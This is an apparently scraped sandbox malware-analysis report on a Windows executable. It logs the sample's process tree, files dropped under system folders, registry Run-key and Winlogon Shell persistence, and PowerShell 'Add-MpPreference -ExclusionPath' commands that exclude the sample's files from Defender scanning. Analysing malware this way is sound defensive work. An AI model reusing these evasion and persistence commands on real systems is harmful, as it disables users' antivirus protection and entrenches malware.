Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VQdUvAQ4xO.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\cJIROItyvb.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: unknown	Process created: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\r6Lr6XbTWt.exe "C:\Windows\System32\r6Lr6XbTWt.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\r6Lr6XbTWt.exe "C:\Windows\System32\r6Lr6XbTWt.exe"
Source: unknown	Process created: C:\Recovery\0eDO5Zbs.exe "C:\Recovery\0eDO5Zbs.exe"
Source: unknown	Process created: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe "C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe"
Source: unknown	Process created: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe "C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe"
Source: unknown	Process created: C:\Users\user\Desktop\VQdUvAQ4xO.exe "C:\Users\user\Desktop\VQdUvAQ4xO.exe"
Source: unknown	Process created: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe"
Source: unknown	Process created: C:\Windows\System32\r6Lr6XbTWt.exe "C:\Windows\System32\r6Lr6XbTWt.exe"
Source: unknown	Process created: C:\Recovery\0eDO5Zbs.exe "C:\Recovery\0eDO5Zbs.exe"
Source: unknown	Process created: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe "C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe"
Source: unknown	Process created: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe "C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe"
Source: unknown	Process created: C:\Users\user\Desktop\VQdUvAQ4xO.exe "C:\Users\user\Desktop\VQdUvAQ4xO.exe"
Source: unknown	Process created: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe"
Source: unknown	Process created: C:\Windows\System32\r6Lr6XbTWt.exe "C:\Windows\System32\r6Lr6XbTWt.exe"
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe'	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\r6Lr6XbTWt.exe'	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\0eDO5Zbs.exe'	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe'	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe'	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VQdUvAQ4xO.exe'	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\cJIROItyvb.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6A2D.tmp" "c:\Windows\System32\CSCA8FE6D7D9B7A4B07A0A2A3B7931FCBDF.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\r6Lr6XbTWt.exe "C:\Windows\System32\r6Lr6XbTWt.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe "C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe"

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 0_2_00007FFD9B7047DB push es; iretd	0_2_00007FFD9B7047E1
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 0_2_00007FFD9B70478C push ebp; iretd	0_2_00007FFD9B704792
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 0_2_00007FFD9B7055C6 push ebp; iretd	0_2_00007FFD9B7055D8
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 0_2_00007FFD9BB01D5E push ebx; ret	0_2_00007FFD9BB01D5F
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 0_2_00007FFD9BB024E1 push ds; ret	0_2_00007FFD9BB024EE
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Code function: 20_2_00007FFD9B6F47DB push es; iretd	20_2_00007FFD9B6F47E1
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Code function: 20_2_00007FFD9B6F478C push ebp; iretd	20_2_00007FFD9B6F4792
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Code function: 20_2_00007FFD9B6F55C6 push ebp; iretd	20_2_00007FFD9B6F55D8
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B7354B1 pushfd ; iretd	30_2_00007FFD9B7354F1
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B747510 push ebx; iretd	30_2_00007FFD9B74756A
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B747528 push ebx; iretd	30_2_00007FFD9B74756A
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B71478C push ebp; iretd	30_2_00007FFD9B714792
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B7147DB push es; iretd	30_2_00007FFD9B7147E1
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B7155C6 push ebp; iretd	30_2_00007FFD9B7155D8
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B728C52 pushfd ; iretd	30_2_00007FFD9B728C53
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B721A66 push ecx; iretd	30_2_00007FFD9B721A6C
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 32_2_00007FFD9B71478C push ebp; iretd	32_2_00007FFD9B714792
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 32_2_00007FFD9B7147DB push es; iretd	32_2_00007FFD9B7147E1
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 32_2_00007FFD9B7155C6 push ebp; iretd	32_2_00007FFD9B7155D8
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B708C52 pushfd ; iretd	33_2_00007FFD9B708C53
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B701A66 push ecx; iretd	33_2_00007FFD9B701A6C
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B6F47DB push es; iretd	33_2_00007FFD9B6F47E1
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B6F478C push ebp; iretd	33_2_00007FFD9B6F4792
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B6F55C6 push ebp; iretd	33_2_00007FFD9B6F55D8
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B727580 push ebx; iretd	33_2_00007FFD9B72756A
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B727510 push ebx; iretd	33_2_00007FFD9B72756A
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B727528 push ebx; iretd	33_2_00007FFD9B72756A
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B7154B1 pushfd ; iretd	33_2_00007FFD9B7154F1
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Code function: 34_2_00007FFD9B6E47DB push es; iretd	34_2_00007FFD9B6E47E1
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Code function: 34_2_00007FFD9B6E478C push ebp; iretd	34_2_00007FFD9B6E4792
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Code function: 34_2_00007FFD9B6E55C6 push ebp; iretd	34_2_00007FFD9B6E55D8

Source: VQdUvAQ4xO.exe	Static PE information: section name: .text entropy: 7.570960606064103
Source: mENvqiIeFx.exe.0.dr	Static PE information: section name: .text entropy: 7.570960606064103
Source: 0eDO5Zbs.exe.0.dr	Static PE information: section name: .text entropy: 7.570960606064103
Source: r6Lr6XbTWt.exe.0.dr	Static PE information: section name: .text entropy: 7.570960606064103
Source: JOajDppbSkfqSPK1G9zAbH.exe.0.dr	Static PE information: section name: .text entropy: 7.570960606064103

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\QCzpQABH.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Users\user\Desktop\lkEtgbYs.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\WWtOxrLm.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\eTZddqfc.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\CEHidmAX.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Users\user\Desktop\XOSeUCEW.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\wMeJBGvi.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\NslYNyvF.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Users\user\Desktop\dGvExiJK.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Users\user\Desktop\LuUydMov.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\hJPUkngW.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Users\user\Desktop\vSXJQEeZ.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\NClzZRhR.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\MGxYJULN.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\oiVTRNgB.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Windows\System32\r6Lr6XbTWt.exe	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\oGDUNCaL.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\nluLvNRG.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Recovery\0eDO5Zbs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Users\user\Desktop\UdnONotd.log	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Users\user\Desktop\NnjhOJZu.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\xkMJxvqs.log	Jump to dropped file
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	File created: C:\Users\user\Desktop\ezCDhkaT.log	Jump to dropped file

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VQdUvAQ4xO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
VQdUvAQ4xO.exe

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tNOtXAG6xwxcUNu9tjBa	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run JOajDppbSkfqSPK1G9zAbH	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run r6Lr6XbTWt	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mENvqiIeFx	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0eDO5Zbs	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run VQdUvAQ4xO	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Memory allocated: 10E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Memory allocated: 1AAA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Memory allocated: 2380000 memory reserve \| memory write watch
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Memory allocated: 1A550000 memory reserve \| memory write watch
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Memory allocated: 3200000 memory reserve \| memory write watch
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Memory allocated: 1B2E0000 memory reserve \| memory write watch
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Memory allocated: BB0000 memory reserve \| memory write watch
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Memory allocated: 1A6C0000 memory reserve \| memory write watch
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Memory allocated: D30000 memory reserve \| memory write watch
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Memory allocated: 1A7C0000 memory reserve \| memory write watch
Source: C:\Recovery\0eDO5Zbs.exe	Memory allocated: 10E0000 memory reserve \| memory write watch
Source: C:\Recovery\0eDO5Zbs.exe	Memory allocated: 1AC40000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Memory allocated: 1120000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Memory allocated: 1AC80000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Memory allocated: 14E0000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Memory allocated: 1AE40000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Memory allocated: 1060000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Memory allocated: 1AD90000 memory reserve \| memory write watch
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Memory allocated: 1520000 memory reserve \| memory write watch
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Memory allocated: 1AFA0000 memory reserve \| memory write watch
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Memory allocated: 14E0000 memory reserve \| memory write watch
